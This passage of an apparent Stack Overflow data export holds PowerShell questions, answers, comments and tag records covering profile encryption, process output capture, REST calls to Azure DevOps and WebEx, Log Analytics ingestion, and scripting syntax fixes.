that I am using is: function Decrypt-Profile { # Paths for the profile file and the encrypted profile $ProfilePath = "$PROFILE.cryptd" $PlainTxtProfilePath = "$PROFILE.plaintxt" # Read the encrypted text from the file Echo "$PROFILE.cryptd" $encryptedText = Get-Content -Path $ProfilePath -Raw # Convert the encrypted text back into a secure string $secureString = $encryptedText | ConvertTo-SecureString # Convert the secure string back into plain text $decryptedText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto( [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString) ) # Display the decrypted profile content # Write-Host "Decrypted Profile Content:" # Write-Host $decryptedText Set-…
has answer: http://stackoverflow.com/a/79177514
upvote count: 1
favorite count: 0
has title: Encrypted the $PROFILE file successfully, but getting back the exact decrypted $PROFILE file not working
tagged with: encryption
type: Question
answer count: 1

http://stackoverflow.com/a/79169600
answers question: http://stackoverflow.com/q/79169542
type: Answer
has comment: http://stackoverflow.com/comment/139615416
score: 0
has body: With Get-PSReadLineOption you can check your color options. With Set-PsReadLineOption -Colors @{Command = "'e[93m" }, for example, you can set color of command parameter. To save it in a permanent way, you must add set command into your profile: notepad $PROFILE This is the list of color you can change: Now you have only to edit as you prefer

http://stackoverflow.com/comment/139733460
score: 1
comment on: http://stackoverflow.com/a/79240869
type: AnswerComment
has text: FWIW, I measured the performance penalty of this check. A single isolated call to `Assert-Invokable` with a bound scriptblock imposes a penalty on the order of 500us on this computer. 10000 of the same calls imposes a penalty on the order of 100us each. This seems like a small price to pay for the error reporting improvement.
type: Comment

http://stackoverflow.com/comment/139660524
has text: @anubhav-sharma I have _three_ folders. Not necessarily .json or .jpg those were just examples, but Compare A.jpg with A.json [filename, not file type] if =/= move A.json to third folder
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79197561
score: 0

http://stackoverflow.com/comment/139726554
type: QuestionComment
comment on: http://stackoverflow.com/q/79237732
has text: That's because it's not... If you're looking for strictness you're definitely in the wrong language
type: Comment
score: 1

http://stackoverflow.com/comment/139711627
score: 0
comment on: http://stackoverflow.com/q/79223169
type: QuestionComment
has text: To make it work without moving to `Grant access to managed identity`, I would suggest you to explicitly reconnect to Azure with `Connect-AzAccount` in the script where you call `Grant-ServiceAccess.ps1`. By reconnecting, you ensure `Get-AzAccessToken` uses the correct session instead of falling back to the expired OIDC token. @Shuzheng
type: Comment

postgresql
tags question: http://stackoverflow.com/q/79090045
tag name: postgresql
type: Tag
tags question: http://stackoverflow.com/q/79398085
tags question: http://stackoverflow.com/q/79334513
tags question: http://stackoverflow.com/q/79506279

http://stackoverflow.com/a/79175800
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139614754
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/139614820
upvote count: 2
has body: $spl = 'apples?' 'This apple for you', 'This apples for you' | ForEach-Object { $_ -split $spl }
answers question: http://stackoverflow.com/q/79175787
accepted answer of: http://stackoverflow.com/q/79175787
score: 1

rest
type: Tag
tags question: http://stackoverflow.com/q/79156956
tag name: rest
tags question: http://stackoverflow.com/q/79284932
tags question: http://stackoverflow.com/q/79285106
tags question: http://stackoverflow.com/q/79481506
tags question: http://stackoverflow.com/q/79439831

http://stackoverflow.com/q/79084361
has body: I have an application, app.exe, that outputs a list of commands when executed without any arguments. I want to capture this output into a variable. I have the lines: $cmd = "X:\app.exe" $output = cmd /c $cmd '2>&1' However, output always returns as empty. When I run the line & $cmd directly, I can see the long list of commands returned. <COMMANDS> a: add file d: delete file u: update file ... I have also tried the following, but still could not capture the output. $psi = New-Object System.Diagnostics.ProcessStartInfo $psi.FileName = $cmd $psi.Arguments = '' $psi.RedirectStandardOutput = $true $psi.RedirectStandardError = $true $psi.UseShellExecute = $false $psi.CreateNoWindow = $true $process = New-Object System.Diagnostics.Process $process.StartInfo = $psi $process.Start() | Out-Null $output = $process.StandardOutput.ReadToEnd() $output += $process.StandardError.ReadToEnd() I am unsure as to why the output is failing to be captured. EDIT: So it seems that I am unable to capture the output of any external process. I tried replicating this behavior on another computer testing with various applications (python.exe, 7za.exe, etc.), but it all worked as expected and I was able to capture the output with just $out = & $cmd
has comment: http://stackoverflow.com/comment/139447521
has title: How to capture output from .exe in PowerShell?
has answer: http://stackoverflow.com/a/79086454
type: Question
has comment: http://stackoverflow.com/comment/139451380
has comment: http://stackoverflow.com/comment/139447643
has comment: http://stackoverflow.com/comment/139446971
has comment: http://stackoverflow.com/comment/139447300
tagged with: powershell
answer count: 1
score: 0
type: UnansweredQuestion

http://stackoverflow.com/a/79124081
accepted answer of: http://stackoverflow.com/q/79124047
downvote count: 0
type: AcceptedAnswer
has body: The actual IP Address as string is nested in the .IPv4Address.IPAddress property so you can use a calculated property with Select-Object to get it: Get-NetIPConfiguration -Detailed | Select-Object @{ N = 'IPv4Address'; E = { $_.IPv4Address.IPAddress }} | ConvertTo-Json
score: 2
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/139521777
answers question: http://stackoverflow.com/q/79124047

http://stackoverflow.com/a/79089179
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/79084760
has body: All problems are resolved after removed all those auto updates on the top of Windows 10 22h2. Now, sysWOW64's 32 bit version of powershell.exe works well on Win10 22h2, and Visual Studio 2019 also works great again. There is absolutely no compatibility issues between VS 2019 and Win10 22h2. The problems were those automated updates on the top of Win10 22h2. It appears that Win10 22h2 does not allow the complete stop of auto updates, but only allow "pause auto updates for 7 days" as an option. After all, Win10 22h2 shows much better performance than the previous versions.
score: 0
accepted answer of: http://stackoverflow.com/q/79084760

http://stackoverflow.com/comment/139529411
type: QuestionComment
type: Comment
score: 0
has text: Yes you can pass multiple parameters to a function. See https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_functions?view=powershell-7.4#functions-with-parameters
comment on: http://stackoverflow.com/q/79126458

http://stackoverflow.com/a/79213051
score: 3
has body: Another option using the same logic as in my previous answer but in this case it extends the FileInfo type adding an IsBinary property. This is something you could add to your $PROFILE: class Utils { hidden static [bool] IsControlChar([int] $ch) { return ($ch -gt 0 -and $ch -lt 8) -or ($ch -gt 13 -and $ch -lt 26) } static [bool] IsBinary([psobject] $fileinfo) { if ($fileinfo.Length -eq 0) { return $false } $reader = $null try { $reader = [System.IO.StreamReader]::new($fileinfo.FullName) while (($char = $reader.Read()) -ne -1) { if ([Utils]::IsControlChar($char)) { return $true } } return $false } finally { if ($reader) { $reader.Dispose() } } } } $updateTypeDataSplat = @{ MemberType = 'CodeProperty' MemberName = 'IsBinary' TypeName = 'System.IO.FileInfo' Value = [Utils].GetMethod('IsBinary') } Update-TypeData @updateTypeDataSplat Then every cmdlet that returns FileInfo instances will have this property attached, for example with Get-ChildItem: Get-ChildItem -File | Select-Object FullName, IsBinary
answers question: http://stackoverflow.com/q/79211988
downvote count: 0
type: Answer
upvote count: 3

http://stackoverflow.com/a/79164682
has comment: http://stackoverflow.com/comment/139594500
has body: You can use a calculated expression on Select-Object | Select-Object ` @{N='AcctName'; E='cn'}, @{N='Address'; E={ $_.StreetAddress.Replace("`r`n", "||") } }, @{N='Phone'; E='telephoneNumber'} `
type: Answer
has comment: http://stackoverflow.com/comment/139594257
has comment: http://stackoverflow.com/comment/139598315
has comment: http://stackoverflow.com/comment/139594691
score: 0
answers question: http://stackoverflow.com/q/79164455

converters
tags question: http://stackoverflow.com/q/79216817
tag name: converters
type: Tag

http://stackoverflow.com/a/79098837
has comment: http://stackoverflow.com/comment/139474004
score: 1
answers question: http://stackoverflow.com/q/79098825
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/139474029
upvote count: 1
has body: PowerShell tentatively considers newline characters statement terminators if the preceding statement is syntactically complete. From a syntax perspective, Get-ADUser ... |Select-Object -Property is a complete statement, so when PowerShell encounters the line break after -Property it automatically goes "this must be the end of this pipeline statement", and the arguments on the following lines are not interpreted as part of it. This behavior also affects the following lines, since you've moved the , array item separator down on the next line - so PowerShell sees 1 pipeline statement (ending with the token -Property), followed by a line with a single hashtable literal, followed by 14 lines of self-contained array literals. Remove the line break between -Property and the first argument token, then for each line break in the argument list move the , up on the preceding line - this will then force the parser to continue parsing the statement on the next line until it reaches the last argument: $userDataRows = Get-ADUser -LDAPFilter '(&(objectClass=User)(objectCategory=Person))' |Select-Object -Property @{N='AcctName';E='cn'}, Name, @{N='FirstName';E='givenName'}, @{N='Initial';E='initials'}, @{N='LastName';E='sn'}, @{N='MyID';E='extensionAttribute6'}, @{N='Badge';E='extensionAttribute2'}, @{N='Address';E='streetaddress'}, @{N='City';E='l'}, @{N='State';E='st'}, @{N='Office';E='physicalDeliveryOfficeName'}, @{N='Country';E='co'}, @{N='CountryID';E='c'}, @{N='PostCode';E='postalCode'}, @{N='Phone';E='telephoneNumber'} Note: you don't need to supply a scriptblock as the Expression parameter when simply renaming properties - @{Name='NewName';Expression={$_.'OldName'}} can be expressed as @{Name='NewName';Expression='OldName'}

http://stackoverflow.com/comment/139728139
comment on: http://stackoverflow.com/q/79238760
type: QuestionComment
has text: you're missing `-f` or `-File` right before `.\SwitchWindowsAudio.ps1` and you will need to use quotes to pass this argument
score: 2
type: Comment

http://stackoverflow.com/comment/139661614
comment on: http://stackoverflow.com/q/79198594
type: QuestionComment
has text: @Darin, stringifying a script block yields its content _verbatim_, so no stripping happens there. The `"` stripping happens in the `powershell.exe` call: when you pass code to the `-Command` (`-c`) parameter (which is implied), `"` chars. are assumed to have purely syntactic function _on the command line_ and are stripped during initial parsing. Escaping them as `\"` prevents that - see my answer for details.
type: Comment
score: 1

http://stackoverflow.com/comment/139666429
type: AnswerComment
comment on: http://stackoverflow.com/a/79204060
has text: Please learn to use the `{}` tool from the *Edit* menu on mouse-selected text to achieve correct `code/data/output/errMsg` formatting. AND I agree that there is no reason to include the whole question in your reply. Note the `Block Quote` option in the *Edit* menu when you need to include something from the original question.
type: Comment
score: 0

azure-ad-graph-api
tags question: http://stackoverflow.com/q/79184599
type: Tag
tag name: azure-ad-graph-api

http://stackoverflow.com/q/79188846
has comment: http://stackoverflow.com/comment/139639007
has body: I have a PowerShell script which open particular url with ArgumentList: Start-Process -FilePath $viewer -ArgumentList '--ignore-certificate-errors --incognito --kiosk "https://192.168.1.1"' do { $processHMI = Get-Process chrome -ErrorAction SilentlyContinue } until ($processHMI -ne $null) How to make the http response check in the loop: if ok - stay on this url, if notok - display some html file?
type: Question
tagged with: powershell
answer count: 1
has answer: http://stackoverflow.com/a/79193025
type: UnansweredQuestion
has title: Check URL response
score: 0

http://stackoverflow.com/comment/139685529
score: 0
comment on: http://stackoverflow.com/q/79214246
type: QuestionComment
has text: @SalmanArshad The where clause is correct since it is always as in the given example. And as mentioned ever employee has an employeenumber
type: Comment

http://stackoverflow.com/comment/139552382
has text: Specifically, there is no syntax problem in the PowerShell CLI call in the question, and, given that only _cmdlets_ are being called (whose module isn't subject to the execution policy, because it contains no _script_ elements), the presence or absence of an `-ExecutionPolicy` argument makes no difference here.
score: 0
comment on: http://stackoverflow.com/a/79138694
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/139632715
type: AnswerComment
comment on: http://stackoverflow.com/a/79184843
type: Comment
has text: This is what I was looking for, thanks!
score: 0

http://stackoverflow.com/a/79084520
answers question: http://stackoverflow.com/q/79079754
has body: I am afraid that there is no out-of-box method can directly get the branch name for a changeset via single Rest API. Is there an option to get the branch? Yes. We can use PowerShell script to run the Rest APIs: Changesets - Get Changeset Changes and Branches - Get Branches. Then we can compare the change path and the TFVC branch path to determine which branch the changeset is located. Here is PowerShell sample: $token = "PAT" $ChangesetID = ChangesetID $OrgName= "OrganizationName" $ProjName= "ProjectName" $GetChangesetURL="https://dev.azure.com/$($OrgName)/_apis/tfvc/changesets/$($ChangesetID)/changes?api-version=7.1" $token = [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes(":$($token)")) $GetChangesets= Invoke-RestMethod -Uri $GetChangesetURL -Headers @{Authorization = "Basic $token"} -Method Get -ContentType application/json foreach($Changeset in $GetChangesets.value) { $ChangePath = $Changeset.item.path echo $ChangePath $GetBranchURL="https://dev.azure.com/$($OrgName)/$($ProjName)/_apis/tfvc/branches?api-version=7.1" $GetBranches= Invoke-RestMethod -Uri $GetBranchURL -Headers @{Authorization = "Basic $token"} -Method Get -ContentType application/json foreach($Branch in $GetBranches.value) { $BranchPath= $Branch.path if($ChangePath.Contains($BranchPath)) { echo "$ChangesetID belong to Branch: $BranchPath" } } } Result: Changeset belong to One TFVC Branch: Changeset belong to multiple branches:
accepted answer of: http://stackoverflow.com/q/79079754
type: AcceptedAnswer
score: 2
upvote count: 2
downvote count: 0
type: Answer

terraform
type: Tag
tags question: http://stackoverflow.com/q/79128008
tag name: terraform
tags question: http://stackoverflow.com/q/79409855
tags question: http://stackoverflow.com/q/79452695
tags question: http://stackoverflow.com/q/79446698

http://stackoverflow.com/comment/139534691
has text: Which Windows version? Which PowerShell version? Are you doing this from an elevated prompt?
score: 0
comment on: http://stackoverflow.com/q/79132168
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139593963
score: 0
has text: Slight progress. Using single quotes on the initial variable assignment allows the write-output to display the back tick in the original variable.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79164499

http://stackoverflow.com/comment/139551753
has text: Thanks for getting to my question! As my post says, I tried installing Anaconda in Linux. `conda init` worked in Powershell and now everything's working correctly there, thanks! However, `conda init` does not work in the WSL terminal, I am getting the same error that `conda` is not a command.
type: AnswerComment
comment on: http://stackoverflow.com/a/79140197
type: Comment
score: 0

http://stackoverflow.com/q/79079906
has comment: http://stackoverflow.com/comment/139441228
favorite count: 0
has comment: http://stackoverflow.com/comment/139440379
type: Question
has answer: http://stackoverflow.com/a/79083525
tagged with: multipartform-data
accepted answer: http://stackoverflow.com/a/79083525
has body: I am working on creating a custom function (Invoke-WebExRequest) for interacting with WebEx API. I have it mostly working, but am unable to get it to work with 'multipart/form-data' data. I am building my body manually (plain text). I am able to get it to work using 'Invoke-WebRequest' using the '-ContentType' switch, specifying the type and boundary. This code block works for posting my multipart/form-data using Invoke-WebRequest: $GUID = New-Guid $Body = @" ------------$($GUID)------------ Content-Disposition: form-data; name="roomId" $($RoomId) ------------$($GUID)------------ Content-Disposition: form-data; name="html" Testing... ------------$($GUID)------------ "@ $ContentType = "multipart/form-data; boundary=----------$($GUID)------------" $Result = Invoke-WebRequest -Headers $Headers ` -Uri $URI ` -Method 'Post' ` -Body $Body ` -ContentType $ContentType$GUID = New-Guid If I just want to post a text message using JSON, I am able to get it to work with [System.Net.Http.HttpClient]: $Body = @{ "roomId" = $RoomId "text" = 'This is just a test' } $Client = [System.Net.Http.HttpClient]::new() $Content = [System.Net.Http.HttpRequestMessage]::new() $Content.Headers.Add('Authorization',"Bearer $($Token)") $Content.RequestUri = $URI $Content.Method = 'Post' $UTF8 = [System.Text.Encoding]::UTF8 $Body = $($Body | ConvertTo-Json) $Body = [System.Net.Http.StringContent]::new($Body,$UTF8,'application/json') $Content.Content = $Body $Client.SendAsync($Content).GetAwaiter().GetResult() However, my attempts at posting multipart/form-data using [System.Net.Http.HttpClient] have so far been unsuccessful. I have tried the following: $Body = @" ------------$($GUID)------------ Content-Disposition: form-data; name="roomId" $($RoomId) ------------$($GUID)------------ Content-Disposition: form-data; name="html" Testing with [System.Net.Http.HttpClient] ------------$($GUID)------------ "@ $Client = [System.Net.Http.HttpClient]::new() $Content = [System.Net.Http.HttpRequestMessage]::ne…
score: 2
upvote count: 2
has title: Sending 'multipart/form-data' from PowerShell using [System.Net.Http.HttpClient]
downvote count: 0
tagged with: powershell
answer count: 1
type: AnsweredQuestion
tagged with: dotnet-httpclient

http://stackoverflow.com/a/79154627
accepted answer of: http://stackoverflow.com/q/79153871
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79153871
type: Answer
score: 0
has body: So i was able to resolve this: Here is the powershell script for Mac: - Register-PnPEntraIDAppForInteractiveLogin -ApplicationName "<Application Name>" -SharePointDelegatePermissions "AllSites.FullControl" -Tenant <tenantdomain>.onmicrosoft.com -Interactive - Connect-PnPOnline -Url https://<tenantdomain>.sharepoint.com -Interactive -ClientId <client_id> - Set-PnPTenant -DisableCustomAppAuthentication $false

http://stackoverflow.com/comment/139450499
has text: An example of the current results would also be useful.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79078578
score: 0

http://stackoverflow.com/comment/139537224
type: QuestionComment
has text: Pssessions normally persist. `$s = new-pssession machine; invoke-command $s { command }`
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79132803

http://stackoverflow.com/comment/139502777
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79100351
score: 0
has text: @jdweng - where is $recoveryData defined? I do not see this being defined as a variable anywhere in that code.

write-error
tag name: write-error
tags question: http://stackoverflow.com/q/79149661
type: Tag

http://stackoverflow.com/comment/139811221
score: 0
comment on: http://stackoverflow.com/q/79244293
type: QuestionComment
type: Comment
has text: Good afternoon @Jahnavi, I now have this working. I will right up the answer shortly and post.

http://stackoverflow.com/comment/139532294
score: 0
has text: Unfortunately, PowerShell defaults to _preventing_ execution of script files (`*.ps1`) in workstation editions of Windows, necessitating a change in [execution policy](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_Execution_Policies) first, such as with `Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force` See the linked documentation and duplicate for details (note that the _question_ there is about a slightly different scenario, but the answers cover the basics).
type: QuestionComment
comment on: http://stackoverflow.com/q/79130831
type: Comment

http://stackoverflow.com/comment/139450426
has text: @mklement0 It works. Thank you!
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79085917
type: QuestionComment

android
type: Tag
tag name: android
tags question: http://stackoverflow.com/q/79106388
tags question: http://stackoverflow.com/q/79435153

http://stackoverflow.com/comment/139535201
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79126458
has text: Just giving you a fancy way to convert and cURL to PS code. Check [CURL to PS Converter](https://hasdata.com/curl-to-powershell-converter)
type: QuestionComment

http://stackoverflow.com/comment/139522019
score: 0
has text: "var1 = "44368ac18c6a286cfce9a7f2e246b15ff54b405c"" returns an error too, btw, probably because I'm using Powershell and not raw bash.
comment on: http://stackoverflow.com/q/79120662
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139662495
comment on: http://stackoverflow.com/a/79199716
score: 0
type: AnswerComment
has text: Hi @KEM Any update on this?
type: Comment

http://stackoverflow.com/a/79165941
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/79165708
has body: You do it the same way as you did with $xml.assembly.assemblyIdentity.name: you refer to the elements aind properties using dot-notation. The file tag is on the same level as assemblyIdentity, so you just replace it and then use dot-notation to access the properties(name, destinationPath and importPath) $xml.assembly.assemblyIdentity.name $xml.assembly.file.name $xml.assembly.file.destinationPath $xml.assembly.file.importPath
downvote count: 0
type: Answer

.net-framework-version
type: Tag
tag name: .net-framework-version
tags question: http://stackoverflow.com/q/79205646

http://stackoverflow.com/comment/139718163
type: QuestionComment
has text: @PanagiotisKanavos I got following $wmi output from manual powershell run. ConnectionSettings : Microsoft.SqlServer.Management.Smo.Wmi.WmiConnectionInfo Services : {MSSQL$SQLEXPRESS, SQLAgent$SQLEXPRESS, SQLBrowser} ClientProtocols : {np, sm, tcp} ServerInstances : {SQLEXPRESS} I got following $wmi output from c# powershell run. ConnectionSettings : Microsoft.SqlServer.Management.Smo.Wmi.WmiConnectionInfo Services : {MSSQL$SQLEXPRESS, SQLAgent$SQLEXPRESS, SQLBrowser} ClientProtocols : {np, sm, tcp} ServerInstances : {}
type: Comment
comment on: http://stackoverflow.com/q/79229639
score: 0

http://stackoverflow.com/q/79235723
tagged with: winapi
has comment: http://stackoverflow.com/comment/139731651
tagged with: windows
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139723560
linked to: http://stackoverflow.com/q/31720595
has title: Whats the difference between calling functions through context menu with invoking verb with powershell?
linked to: http://stackoverflow.com/q/30051634
has comment: http://stackoverflow.com/comment/139723611
tagged with: registry
tagged with: powershell
has body: Inspired by this question Programmatically managing windows frequent folder, i'm using the following powershell script to managing my window frequent folder. $o = new-object -com shell.application $o.Namespace('c:\My Folder').Self.InvokeVerb("pintohome") It used to work well, until some latest windows version about win10 and win11, just stucked forever. Even worse, i'm not able to stop it or detect it until i closed the terminal window like what i described here How to stop a fully stuck powershell script when keyboard interrupt and Stop-Job not working?. However, i have checked the related registries between two versions of windows and found them are same. Which means, i believe, windows have deeply disable it inside their core system. But we can still do the same thing through windows context menu, through registry like HKEY_LOCAL_MACHINE\Software\Classes\Wow6432Node\CLSID\{679f85cb-0220-4080-b29b-5540cc05aab6}\shell\pintohome or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\Windows.PinToHome? So what's the difference between this two method? If they both call some internal function to do the same thing, can we use some different way to do it like through registry?
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/79165242
score: 0
has comment: http://stackoverflow.com/comment/139731654

http://stackoverflow.com/q/79182266
has body: I want to provide a list of allowed names to the name parameter, so that the user can tab into them. I have come up with the following: Param( [ValidateSet([foo])] [string]$Name ) $name Class foo : System.Management.Automation.IValidateSetValuesGenerator{ [string[]] GetValidValues(){ return [string[]] ("cat", "dog", "fish") }} Typing .\myScript.ps1 -name and then pressing tab nothing is suggested. running .\myScript.ps1 returns an error: Line | 3 | [ValidateSet([foo])] | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | Unable to find type [foo]. I can do this exact set up in a psm1 file or just as a standard function and it works. I thought of moving the class into the top of the script file but this not allowed due to param() needing to be the first line. Is there a way around this issue? Am on pwsh 7.4
has comment: http://stackoverflow.com/comment/139626610
has comment: http://stackoverflow.com/comment/139626591
favorite count: 0
has comment: http://stackoverflow.com/comment/139626697
has title: how to declare a class in a '.ps1' file?
accepted answer: http://stackoverflow.com/a/79182419
has comment: http://stackoverflow.com/comment/139626567
type: Question
has answer: http://stackoverflow.com/a/79182419
linked to: http://stackoverflow.com/q/75770407
score: 4
upvote count: 4
downvote count: 0
answer count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139627316
tagged with: powershell

http://stackoverflow.com/a/79161253
has comment: http://stackoverflow.com/comment/139588581
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79161235
has body: Instead of using -notcontains try using -notmatch with a regex OR pattern, -notcontains is specifically to check if an item does not exist in an array but has to be an exact match. # adding Develop and Master here since as stated must always be removed $array2 = '1517', '1518', 'Develop', 'Master' $matchPattern = '7[0-9]{3}' # make a regex OR pattern $notmatchPattern = $array2 -join '|' foreach ($dockerCon in $array1) { if ($dockerCon -notmatch $notmatchPattern -and $dockerCon -match $matchPattern) { Write-Host "`t"$dockerCon -ForegroundColor Red } } This would output the following items from $array1: myserver:1515 myserver7990 myserver:1514 myserver7999
accepted answer of: http://stackoverflow.com/q/79161235
type: AcceptedAnswer

http://stackoverflow.com/comment/139435042
score: 0
has text: I *am* able to debug my own code in Deno. My confusion stems from this: if I was writing an app, I'd follow my code into the Deno source code with ctrl-left-click definition. Here though, I have added no code, and I have no idea how to "connect" putting a breakpoint in the Deno source code while initializing it through command line.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79077628

http://stackoverflow.com/a/79100735
has body: You can't use two variables inside a for loop like this. Instead iterate over all the files and access their properties inside the loop: foreach ($file in Get-ChildItem -Path $path) { if ($file.LastWriteTime -lt $Old_dte) { echo "$file is old; will be deleted" } else { echo "$file is recent; won't be deleted" } } As a side-note: I'd avoid using two conditions with -lt and -gt. What if the date is exactly the same? If you use only one condition it's clear, what will happen to those files.
downvote count: 0
type: Answer
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/79100715

http://stackoverflow.com/comment/139708041
type: QuestionComment
type: Comment
score: 0
has text: Second comma is thousand separator
comment on: http://stackoverflow.com/q/79227388

sharepoint-online
tags question: http://stackoverflow.com/q/79134578
tags question: http://stackoverflow.com/q/79205090
tag name: sharepoint-online
tags question: http://stackoverflow.com/q/79193700
type: Tag
tags question: http://stackoverflow.com/q/79335963
tags question: http://stackoverflow.com/q/79247316
tags question: http://stackoverflow.com/q/79361998
tags question: http://stackoverflow.com/q/79392746
tags question: http://stackoverflow.com/q/79375029
tags question: http://stackoverflow.com/q/79301292
tags question: http://stackoverflow.com/q/79275914
tags question: http://stackoverflow.com/q/79264968
tags question: http://stackoverflow.com/q/79355601
tags question: http://stackoverflow.com/q/79292153
tags question: http://stackoverflow.com/q/79431230
tags question: http://stackoverflow.com/q/79526093
tags question: http://stackoverflow.com/q/79498463

http://stackoverflow.com/comment/139701149
score: 0
comment on: http://stackoverflow.com/q/79223805
type: QuestionComment
has text: Oh snap! No, but that seems to work!
type: Comment

http://stackoverflow.com/q/79244293
has body: Previously ingesting data into an Azure Log Analytics Log Table could be done without the need for a DCR (Data Collection Rule) or indeed a DCE (Data Collection Endpoint). In fact, this stack overflow post covers this powershell-script-for-azure-function-to-post-to-a-log-analytics. Microsoft have changed how this works and so if one creates a modern Log Table and point the code detail in the linked article, the data is simply dropped. (The console output looks successful. However, there is no data ingested...simple KQL query against the log table confirms this) The first problem being faced is to create a DCR that ingest data via the REST API and direct it to the requisite log table. In this instance there is no need for a DCE. This is the code being used to create the DCR, which fails: $DCRContent = @" { "location": "westeurope", "properties": { "dataSources": { "logsIngestion": [ { "name": "RestApiSource", "streams": ["<Custom Table Name>"], "settings": { "endpoint": "https://<workspace ID>.ods.opinsights.azure.com/api/logs?api-version=2023-01-01", "method": "POST", "headers": { "Content-Type": "application/json" } } } ] }, "destinations": { "logAnalytics": [ { "workspaceResourceId": "/subscriptions/<Subscription ID>/resourceGroups/<ResourceGroupName>/providers/Microsoft.OperationalInsights/workspaces/<Workspace Name>" } ] }, "transformations": [ { "name": "Transformation1", "inputs": ["RestApiSource"], "outputs": ["<Custom Table Name>"], "query": "SELECT * FROM RestApiSource" } ] } } "@ $ResourceGroupName = $Workspace.Rg $DCRName = "<DCR Name>" $Location = "westeurope" New-AzResource -ResourceGroupName $ResourceGroupName -ResourceType "Microsoft.Insights/dataCollectionRules" -ResourceName $DCRName -Location $Location -Properties $DCRContent This is the error message: New-AzResource : InvalidPayload : Data collection rule is invalid CorrelationId: 1fcde55d-6770-48c7-b649-822eca399203 At line:47 char:1 + New-AzResource -ResourceGroupName $ResourceGroupName -Resourc…
score: 1
upvote count: 1
linked to: http://stackoverflow.com/q/75162327
has title: Azure Log Analytics - modern Custom Log Table - Using PowerShell to Ingest data via REST API with no DCE
has comment: http://stackoverflow.com/comment/139783971
favorite count: 0
has comment: http://stackoverflow.com/comment/139783974
has comment: http://stackoverflow.com/comment/139778419
tagged with: azure-log-analytics
type: Question
has comment: http://stackoverflow.com/comment/139779945
has comment: http://stackoverflow.com/comment/139811221
answer count: 1
accepted answer: http://stackoverflow.com/a/79303424
has answer: http://stackoverflow.com/a/79303424
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139808105
type: AnsweredQuestion
tagged with: azure
has comment: http://stackoverflow.com/comment/139753336

http://stackoverflow.com/comment/139583108
comment on: http://stackoverflow.com/q/79158483
has text: hanks for your responses. @MathiasR.Jessen, it doesn’t make a difference; the result remains the same.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79139534
type: Question
answer count: 1
has title: New-WebServiceProxy Cmdlet does not exist
tagged with: powershell
has comment: http://stackoverflow.com/comment/139549373
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139554935
has answer: http://stackoverflow.com/a/79143491
has body: Firstly apologies for the stupid question folks, feel like I should be able to google or handle this one myself yet I'm not finding much to help. Having an issue with the new-webserviceproxy command. I have the management module loaded and retrieving commands within shows the below (trimmed to just new- commands). CommandType Name Version Source Microsoft.PowerShell.Management Cmdlet New-Item 7.0.0.0 Microsoft.PowerShell.Management Cmdlet New-ItemProperty 7.0.0.0 Microsoft.PowerShell.Management Cmdlet New-PSDrive 7.0.0.0 Microsoft.PowerShell.Management Cmdlet New-Service 7.0.0.0 New-WebServiceProxy does not seem to exist on version 7.0 of the module? I am at a loss here, i am loading two versions of the module (3.1 and 7.0) ModuleType Version PreRelease Name Manifest 7.0.0.0 Microsoft.PowerShell.Management Manifest 3.1.0.0 Microsoft.PowerShell.Management Not sure if this is the issue, attempting to remove and reinstall the modules have been a frustration. However when pulling commands it seems to be pulling from 7.0.

http://stackoverflow.com/a/79176772
has body: You can add a command to be executed on startup to Enter-PSSession. With that, you can initialize conda and activate base (or another env). Example for activating base: Enter-PSSession -Command &quot;&amp; 'C:\ProgramData\anaconda3\shell\condabin\conda-hook.ps1' ; conda activate 'C:\ProgramData\anaconda3' &quot; Adjust C:\ProgramData\anaconda3 to your path to your conda base, or the directory of another env
upvote count: 1
answers question: http://stackoverflow.com/q/79167734
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79167734
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/q/79172778
type: Question
answer count: 1
downvote count: 0
tagged with: powershell
has answer: http://stackoverflow.com/a/79172792
has title: Arrays in PowerShell
type: UnansweredQuestion
score: 1
upvote count: 1
has body: I am trying to achieve the following: systemlist [ System { Navn: "SystemA", Uri: "" }, System { Navn: "SystemB", Uri: "" } ] foreach ($system in $systemlist) { # write out name and URI Write-Output $system } I am having difficulties doing this in PowerShell. Also additionally I would like to get the URI of for example systemA - if there is something equivalent to lambda expressions in PowerShell.
favorite count: 0

http://stackoverflow.com/comment/139610870
type: Comment
has text: The premise of the question is the use of `-CommandType Application` and relates to this command type only. The other command types are not relevant here.
score: 0
comment on: http://stackoverflow.com/a/79171899
type: AnswerComment

http://stackoverflow.com/comment/139697027
type: Comment
